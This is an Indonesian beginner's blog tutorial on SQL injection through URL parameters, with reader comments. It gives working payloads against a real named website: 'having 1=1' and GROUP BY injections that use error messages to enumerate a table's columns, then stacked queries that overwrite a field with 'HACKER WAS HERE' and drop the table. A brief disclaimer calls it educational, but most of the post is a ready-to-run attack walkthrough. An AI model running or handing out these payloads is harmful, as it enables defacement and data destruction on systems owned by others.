Friday, October 16, 2009

Belajar Teknik Hacking SQL Injection [Pada URL] - Untuk Pemula

Belajar Teknik Hacking SQL Injection [Pada URL]
Untuk Pemula

Pada kesempatan kali ini, saya akan mencoba menerangkan tentang serangan ke suatu website menggunakan teknik SQL Injection. Saya akan menunjukkan SQL Injection melalui URL. Pada dasarnya caranya adalah sama karena keduanya sama- sama merupakan parameter input.

Teknik untuk menemukan nama field dan table ditemukan oleh david Litcfield. Teknik yang digunakan disini adalah dengan membuat terjadinya error menggunakan perintah having 1=1

STEP 1
Oke, kita langsung masuk ke contoh nyata. Web target kita kali ini ialah :

http://www.24x7learning.com/Press_Releases/news.asp?id=57

Untuk mendapatkan nama table dan nama field pertama, ialah dengan cara memasukkan perintah dibawah ini pada browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama table = media
nama field pertama = id


STEP 2
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediadate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field kedua = mediadate



STEP 3
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediatitle' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field ketiga = mediatitle


STEP 4
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapublisher' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field keempat= mediapublisher


STEP 5
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapath' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :

nama field kelima= mediapath


STEP 6
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath having 1=1

Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.ishtml' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6

Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keenam= ishtml


STEP 7
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :

http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath,media.ishtml having 1=1

Dengan perintah tersebut, maka kita tidak akan mendapatkan pesan error apapun. Artinya, bahwa pencarian field sudah selesai.


HACKING STEP....


MERUBAH DATA
Untuk merubah data, gunakanlah command SQL yaitu UPDATE. Contohnya kita akan merubah isi dari field ”mediapublisher”, perintah lengkapnya ialah :


http://www.24x7learning.com/Press_Releases/news.asp?id=57; UPDATE media set mediapublisher=’HACKER WAS HERE’ where id=57;


Sekarang Anda coba akses alamat :

http://www.24x7learning.com/Press_Releases/news.asp?id=57

Silahkan, lihat perubahannya.


MENGHAPUS TABLE
Tindakan yang paling “extreme” ialah menghapus/ drop table. Untuk melakukannya Anda bisa menggunakan comman SQL, yaitu DROP. Perintah lengkapnya ialah :


http://www.24x7learning.com/Press_Releases/news.asp?id=57; drop table
media;

End….


Artikel ini hanya untuk tujuan pembelajaran semata. Tidak pernah dibenarkan untuk melakukan kegiatan cracking kepada suatu website. Satu hal yang perlu Anda ketahui ialah dengan melakukan deface terhadap 100 website tidak akan menjadikan Anda seorang Hacker.


Regards,


Psychozetic

4 comments:

Agung Ferdianto said...

nice info yud tar cek dulu ah

cah ndesa said...

Ribet banget yach...
hehe... :)

Husni said...

jika menggunakan perintah get data "$id = abs((int)$_GET['id'])"
trik SQL injection tidak berlaku...
CMIIW

Yudha Yogasara said...

@husni : pake ini juga bisa bro
= mysql_escape_string($id)